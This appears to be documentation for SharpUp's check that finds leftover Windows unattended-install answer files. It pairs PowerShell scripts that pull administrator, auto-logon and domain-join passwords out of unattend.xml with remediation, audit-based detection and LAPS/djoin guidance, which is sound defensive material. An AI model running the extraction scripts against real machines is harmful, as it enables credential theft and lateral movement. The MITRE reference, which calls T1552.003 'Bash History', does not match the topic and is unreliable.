Unattended Install Files

Overview

The Unattended Install Files check searches for Windows unattended installation answer files that may contain plaintext or base64-encoded credentials. These files are used during automated Windows deployments and often left behind after installation, accessible to any user on the system.

Unattended install files can contain local administrator passwords, domain join credentials, and product keys.

How It Works

SharpUp checks common locations for unattended installation files: File Locations Checked:

%windir%\sysprep\sysprep.xml
%windir%\sysprep\sysprep.inf
%windir%\sysprep.inf
%windir%\Panther\Unattended.xml
%windir%\Panther\Unattend.xml
%windir%\Panther\Unattend\Unattend.xml
%windir%\Panther\Unattend\Unattended.xml
%windir%\System32\Sysprep\unattend.xml
%windir%\System32\Sysprep\Panther\unattend.xml

Example Output

=== Unattended Install Files ===
    C:\Windows\Panther\Unattend.xml
    C:\Windows\System32\Sysprep\unattend.xml

Interpretation:

Unattended install files found on system
May contain credentials for:
- Local administrator account
- Domain join account
- Auto-logon account
- Product keys

Exploitation

Method 1: Extract Credentials from XML

# Read and parse unattend.xml
[xml]$unattend = Get-Content "C:\Windows\Panther\Unattend.xml"

# Extract local administrator password
$adminPassword = $unattend.unattend.settings.component |
    Where-Object {$_.name -eq "Microsoft-Windows-Shell-Setup"} |
    Select-Object -ExpandProperty UserAccounts |
    Select-Object -ExpandProperty AdministratorPassword |
    Select-Object -ExpandProperty Value

Write-Host "Administrator Password: $adminPassword"

# Extract auto-logon credentials
$autoLogon = $unattend.unattend.settings.component |
    Where-Object {$_.name -eq "Microsoft-Windows-Shell-Setup"} |
    Select-Object -ExpandProperty AutoLogon

Write-Host "Auto-Logon Username: $($autoLogon.Username)"
Write-Host "Auto-Logon Password: $($autoLogon.Password.Value)"
Write-Host "Auto-Logon Domain: $($autoLogon.Domain)"

Method 2: Extract Domain Join Credentials

[xml]$unattend = Get-Content "C:\Windows\Panther\Unattend.xml"

# Extract domain join credentials
$domainJoin = $unattend.unattend.settings.component |
    Where-Object {$_.name -eq "Microsoft-Windows-UnattendedJoin"} |
    Select-Object -ExpandProperty Identification

$username = $domainJoin.Credentials.Username
$password = $domainJoin.Credentials.Password
$domain = $domainJoin.Credentials.Domain

Write-Host "Domain Join Account: $domain\$username"
Write-Host "Password: $password"

Method 3: Decode Base64 Passwords

# Some passwords are base64 encoded
$encodedPassword = "UABhAHMAcwB3AG8AcgBkACEAMQAyADMA"

# Decode
$decodedPassword = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodedPassword))

Write-Host "Decoded Password: $decodedPassword"

Method 4: Search All Answer Files

# Search for all unattended files with passwords
$searchPaths = @(
    "$env:windir\sysprep",
    "$env:windir\Panther",
    "$env:windir\System32\Sysprep"
)

foreach ($path in $searchPaths) {
    Get-ChildItem -Path $path -Recurse -Include *.xml,*.inf -ErrorAction SilentlyContinue |
    ForEach-Object {
        $content = Get-Content $_.FullName -Raw
        if ($content -match "password|cpassword") {
            Write-Host "[+] Found: $($_.FullName)"
            Write-Host $content
        }
    }
}

Remediation

Locate Unattended Files

# Search for unattended installation files
$locations = @(
    "$env:windir\sysprep\sysprep.xml",
    "$env:windir\sysprep\sysprep.inf",
    "$env:windir\sysprep.inf",
    "$env:windir\Panther\Unattended.xml",
    "$env:windir\Panther\Unattend.xml",
    "$env:windir\Panther\Unattend\Unattend.xml",
    "$env:windir\Panther\Unattend\Unattended.xml",
    "$env:windir\System32\Sysprep\unattend.xml",
    "$env:windir\System32\Sysprep\Panther\unattend.xml"
)

$foundFiles = $locations | Where-Object { Test-Path $_ }

if ($foundFiles) {
    Write-Host "[!] Found unattended files:"
    $foundFiles | ForEach-Object { Write-Host "    $_" }
}

Review File Contents

Before deletion, review files for credentials that need to be changed:

foreach ($file in $foundFiles) {
    Write-Host "`n[*] Reviewing: $file"
    Select-String -Path $file -Pattern "password|username|domain" -Context 2,2
}

Delete Unattended Files

# Delete unattended installation files
foreach ($file in $foundFiles) {
    if (Test-Path $file) {
        Remove-Item $file -Force
        Write-Host "[+] Deleted: $file"
    }
}

Change Exposed Credentials

# Change any passwords found in unattended files

# Local administrator
net user Administrator "NewComplexP@ssw0rd123!"

# Domain accounts (if domain join credentials found)
Set-ADAccountPassword -Identity domainJoinAccount -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewP@ssw0rd!" -Force)

Secure Deployment Process

For future deployments:

Don’t store passwords in answer files
Use offline domain join (djoin.exe)
Implement MDT/SCCM with proper credential management
Delete answer files after successful deployment
Use secure variables instead of plaintext passwords

Automated Cleanup Script

# Deploy via GPO to clean all workstations
$locations = @(
    "$env:windir\sysprep\sysprep.xml",
    "$env:windir\sysprep\sysprep.inf",
    "$env:windir\sysprep.inf",
    "$env:windir\Panther\*.xml",
    "$env:windir\System32\Sysprep\*.xml"
)

foreach ($pattern in $locations) {
    Get-Item $pattern -ErrorAction SilentlyContinue | ForEach-Object {
        $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue

        if ($content -match "password") {
            Write-EventLog -LogName Application -Source "Unattend Cleanup" -EventId 1000 -Message "Deleted: $($_.FullName)"
            Remove-Item $_.FullName -Force
        }
    }
}

Detection

Defensive Monitoring

# Monitor access to unattended file directories
$panther = "$env:windir\Panther"

if (Test-Path $panther) {
    $acl = Get-Acl $panther
    $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
        "Everyone",
        "ReadData",
        "None",
        "None",
        "Success"
    )
    $acl.AddAuditRule($auditRule)
    Set-Acl $panther $acl
}

# Monitor Event ID 4663 for file access
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -match 'Panther|Sysprep' -and $_.Message -match 'xml|inf'}

Detection Strategies

File Access Monitoring
Process Monitoring
Preventive Scanning

Monitor read access to Panther and Sysprep directories
Alert on access to *.xml and *.inf files in these locations
Track which users are accessing these files

Real-World Scenarios

Scenario 1: Enterprise Deployment Remnants

Context: 5,000 workstations deployed using MDT 2 years ago. Unattend.xml files never cleaned up.Contents:

Local administrator password (same on all workstations)
Domain join service account credentials

Impact:

Attacker compromises one workstation
Finds unattend.xml with local admin password
Gains local admin on all 5,000 workstations
Uses domain join credentials for lateral movement

Lesson: Always clean up deployment artifacts.

Scenario 2: Sysprep Answer File

Context: Custom Windows image created with Sysprep, answer file included in image.Risk:

Every deployed system has same answer file
Contains built-in administrator password
Auto-logon configured for initial setup

Solution:

Remove answer files from master image
Use dynamic credential injection
LAPS for local administrator passwords

Scenario 3: Penetration Test Discovery

Context: Penetration tester gains low-privilege shell on workstation.Attack Path:

Run SharpUp to identify unattended files
Find C:\Windows\Panther\Unattend.xml
Extract domain join account credentials
Use credentials to access domain resources
Escalate to domain admin

Prevention: Regular cleanup and credential rotation.

Prevention Best Practices

Clean After Deployment

Always delete answer files after successful Windows installation.

Don't Store Passwords

Avoid storing passwords in answer files. Use alternative methods.

Use LAPS

Implement Local Administrator Password Solution for randomized admin passwords.

Offline Domain Join

Use djoin.exe for domain joining without storing credentials.

Secure Deployment Alternatives

# Offline domain join (no credentials in answer file)
# On domain controller:
djoin.exe /provision /domain contoso.com /machine WORKSTATION01 /savefile C:\joindata.txt

# Copy joindata.txt to target system
# On target workstation:
djoin.exe /requestODJ /loadfile C:\joindata.txt /windowspath %windir% /localos

# Restart to complete join - no credentials exposed

MDT/SCCM Best Practices

Store credentials in variables, not answer files
Use separate deployment accounts with limited privileges
Rotate deployment account passwords regularly
Clean up deployment directories post-installation
Audit deployment processes

Registry AutoLogons

Plaintext auto-logon credentials in registry

Cached GPP Password

Cached Group Policy Preference passwords

Domain GPP Password

GPP passwords in SYSVOL

Remediation Guide

Comprehensive remediation guidance

References

Microsoft Docs

Automate Windows Setup

MITRE ATT&CK

T1552.003 - Unsecured Credentials: Bash History

Offline Domain Join

Offline Domain Join (Djoin.exe)

Getting Started

Service Checks

Registry Checks

Credential Checks

DLL & Path Checks

Token & Privileges

Remediation

Overview

How It Works

Example Output

Exploitation

Method 1: Extract Credentials from XML

Method 2: Extract Domain Join Credentials

Method 3: Decode Base64 Passwords

Method 4: Search All Answer Files

Remediation

Automated Cleanup Script

Detection

Defensive Monitoring

Detection Strategies

Real-World Scenarios

Prevention Best Practices

Clean After Deployment

Don't Store Passwords

Use LAPS

Offline Domain Join

Secure Deployment Alternatives

MDT/SCCM Best Practices

Registry AutoLogons

Cached GPP Password

Domain GPP Password

Remediation Guide

References

Microsoft Docs

MITRE ATT&CK

Offline Domain Join

​Overview

​How It Works

​Example Output

​Exploitation

​Method 1: Extract Credentials from XML

​Method 2: Extract Domain Join Credentials

​Method 3: Decode Base64 Passwords

​Method 4: Search All Answer Files

​Remediation

​Automated Cleanup Script

​Detection

​Defensive Monitoring

​Detection Strategies

​Real-World Scenarios

​Prevention Best Practices

Clean After Deployment

Don't Store Passwords

Use LAPS

Offline Domain Join

​Secure Deployment Alternatives

​MDT/SCCM Best Practices

​Related Checks

Registry AutoLogons

Cached GPP Password

Domain GPP Password

Remediation Guide

​References

Microsoft Docs

MITRE ATT&CK

Offline Domain Join

Overview

How It Works

Example Output

Exploitation

Method 1: Extract Credentials from XML

Method 2: Extract Domain Join Credentials

Method 3: Decode Base64 Passwords

Method 4: Search All Answer Files

Remediation

Automated Cleanup Script

Detection

Defensive Monitoring

Detection Strategies

Real-World Scenarios

Prevention Best Practices

Secure Deployment Alternatives

MDT/SCCM Best Practices

Related Checks

References